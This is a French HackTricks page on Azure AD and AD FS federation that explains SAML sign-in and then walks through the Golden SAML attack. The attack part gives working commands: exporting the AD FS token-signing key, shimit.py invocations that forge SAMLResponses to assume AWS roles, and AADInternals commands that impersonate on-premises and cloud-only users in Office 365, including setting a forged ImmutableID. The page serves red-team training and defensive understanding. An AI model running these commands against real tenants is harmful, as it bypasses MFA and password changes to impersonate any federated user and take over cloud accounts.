Az - Federation
Reading time: 10 minutes
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
Basic Information
From the docs:La fédération est un ensemble de domaines qui ont établi une confiance. Le niveau de confiance peut varier, mais inclut généralement l'authentification et inclut presque toujours l'autorisation. Une fédération typique pourrait inclure un certain nombre d'organisations qui ont établi une confiance pour un accÚs partagé à un ensemble de ressources.
Vous pouvez fĂ©dĂ©rer votre environnement sur site avec Azure AD et utiliser cette fĂ©dĂ©ration pour l'authentification et l'autorisation. Cette mĂ©thode de connexion garantit que toute authentification des utilisateurs se fait sur site. Cette mĂ©thode permet aux administrateurs de mettre en Ćuvre des niveaux de contrĂŽle d'accĂšs plus rigoureux. La fĂ©dĂ©ration avec AD FS et PingFederate est disponible.
.png)
En gros, dans la fédération, toute authentification se fait dans l'environnement sur site et l'utilisateur bénéficie d'un SSO à travers tous les environnements de confiance. Par conséquent, les utilisateurs peuvent accéder aux applications cloud en utilisant leurs identifiants sur site.
Security Assertion Markup Language (SAML) est utilisé pour échanger toutes les informations d'authentification et d'autorisation entre les fournisseurs.
Dans toute configuration de fédération, il y a trois parties :
- Utilisateur ou Client
- Fournisseur d'identité (IdP)
- Fournisseur de services (SP)
(Images de https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
.png)
- Initialement, une application (Fournisseur de services ou SP, comme la console AWS ou le client web vSphere) est accessible par un utilisateur. Cette Ă©tape peut ĂȘtre contournĂ©e, amenant directement le client Ă l'IdP (Fournisseur d'identitĂ©) en fonction de l'implĂ©mentation spĂ©cifique.
- Ensuite, le SP identifie l'IdP approprié (par exemple, AD FS, Okta) pour l'authentification de l'utilisateur. Il crée ensuite une AuthnRequest SAML (Security Assertion Markup Language) et redirige le client vers l'IdP choisi.
- L'IdP prend le relais, authentifiant l'utilisateur. AprÚs l'authentification, une SAMLResponse est formulée par l'IdP et transmise au SP par l'intermédiaire de l'utilisateur.
- Enfin, le SP évalue la SAMLResponse. Si elle est validée avec succÚs, impliquant une relation de confiance avec l'IdP, l'utilisateur se voit accorder l'accÚs. Cela marque la fin du processus de connexion, permettant à l'utilisateur d'utiliser le service.
Si vous souhaitez en savoir plus sur l'authentification SAML et les attaques courantes, allez Ă :
Pivoting
- AD FS est un modÚle d'identité basé sur des revendications.
- "..les revendications sont simplement des dĂ©clarations (par exemple, nom, identitĂ©, groupe), faites Ă propos des utilisateurs, qui sont utilisĂ©es principalement pour autoriser l'accĂšs Ă des applications basĂ©es sur des revendications situĂ©es n'importe oĂč sur Internet."
- Les revendications pour un utilisateur sont écrites à l'intérieur des jetons SAML et sont ensuite signées pour fournir la confidentialité par l'IdP.
- Un utilisateur est identifié par ImmutableID. Il est globalement unique et stocké dans Azure AD.
- L'ImmutableID est stockĂ© sur site comme ms-DS-ConsistencyGuid pour l'utilisateur et/ou peut ĂȘtre dĂ©rivĂ© du GUID de l'utilisateur.
- Plus d'infos sur https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims
Attaque Golden SAML :
- Dans ADFS, la SAML Response est signée par un certificat de signature de jeton.
- Si le certificat est compromis, il est possible de s'authentifier auprÚs d'Azure AD en tant que n'importe quel utilisateur synchronisé avec Azure AD !
- Tout comme notre abus de PTA, le changement de mot de passe pour un utilisateur ou MFA n'aura aucun effet car nous falsifions la réponse d'authentification.
- Le certificat peut ĂȘtre extrait du serveur AD FS avec des privilĂšges DA et peut ensuite ĂȘtre utilisĂ© depuis n'importe quelle machine connectĂ©e Ă Internet.
- Plus d'infos sur https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
Golden SAML
Le processus par lequel un Fournisseur d'identitĂ© (IdP) produit une SAMLResponse pour autoriser la connexion de l'utilisateur est primordial. En fonction de l'implĂ©mentation spĂ©cifique de l'IdP, la rĂ©ponse peut ĂȘtre signĂ©e ou chiffrĂ©e Ă l'aide de la clĂ© privĂ©e de l'IdP. Cette procĂ©dure permet au Fournisseur de services (SP) de confirmer l'authenticitĂ© de la SAMLResponse, garantissant qu'elle a bien Ă©tĂ© Ă©mise par un IdP de confiance.
Un parallĂšle peut ĂȘtre Ă©tabli avec l'attaque du golden ticket, oĂč la clĂ© authentifiant l'identitĂ© et les permissions de l'utilisateur (KRBTGT pour les golden tickets, clĂ© privĂ©e de signature de jeton pour le golden SAML) peut ĂȘtre manipulĂ©e pour forger un objet d'authentification (TGT ou SAMLResponse). Cela permet d'usurper l'identitĂ© de n'importe quel utilisateur, accordant un accĂšs non autorisĂ© au SP.
Les Golden SAML offrent certains avantages :
- Ils peuvent ĂȘtre créés Ă distance, sans avoir besoin de faire partie du domaine ou de la fĂ©dĂ©ration en question.
- Ils restent efficaces mĂȘme avec l'authentification Ă deux facteurs (2FA) activĂ©e.
- La clé privée de signature de jeton ne se renouvelle pas automatiquement.
- Changer le mot de passe d'un utilisateur n'invalide pas un SAML déjà généré.
AWS + AD FS + Golden SAML
Active Directory Federation Services (AD FS) est un service Microsoft qui facilite l'échange sécurisé d'informations d'identité entre partenaires commerciaux de confiance (fédération). Il permet essentiellement à un service de domaine de partager des identités d'utilisateur avec d'autres fournisseurs de services au sein d'une fédération.
Avec AWS faisant confiance au domaine compromis (dans une fĂ©dĂ©ration), cette vulnĂ©rabilitĂ© peut ĂȘtre exploitĂ©e pour potentiellement acquĂ©rir n'importe quelles permissions dans l'environnement AWS. L'attaque nĂ©cessite la clĂ© privĂ©e utilisĂ©e pour signer les objets SAML, semblable Ă la nĂ©cessitĂ© du KRBTGT dans une attaque de golden ticket. L'accĂšs au compte utilisateur AD FS est suffisant pour obtenir cette clĂ© privĂ©e.
Les exigences pour exécuter une attaque Golden SAML incluent :
- Clé privée de signature de jeton
- Certificat public de l'IdP
- Nom de l'IdP
- Nom de rĂŽle (rĂŽle Ă assumer)
- Domaine\nom d'utilisateur
- Nom de session de rĂŽle dans AWS
- ID de compte Amazon
Seuls les Ă©lĂ©ments en gras sont obligatoires. Les autres peuvent ĂȘtre remplis selon les besoins.
Pour acquĂ©rir la clĂ© privĂ©e, l'accĂšs au compte utilisateur AD FS est nĂ©cessaire. Ă partir de lĂ , la clĂ© privĂ©e peut ĂȘtre exportĂ©e du magasin personnel Ă l'aide d'outils comme mimikatz. Pour rassembler les autres informations requises, vous pouvez utiliser le module Microsoft.Adfs.Powershell comme suit, en vous assurant que vous ĂȘtes connectĂ© en tant qu'utilisateur ADFS :
# From an "AD FS" session
# After having exported the key with mimikatz
# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)
# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri
# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule
Avec toutes les informations, il est possible d'oublier un SAMLResponse valide en tant qu'utilisateur que vous souhaitez imiter en utilisant shimit:
# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012
# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
.png)
Sur site -> cloud
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())
# On AD FS server execute as administrator
Get-AdfsProperties | select identifier
# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate
# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
Il est également possible de créer un ImmutableID pour les utilisateurs uniquement cloud et de les usurper.
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate
# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose
Références
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed
- https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
tip
Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.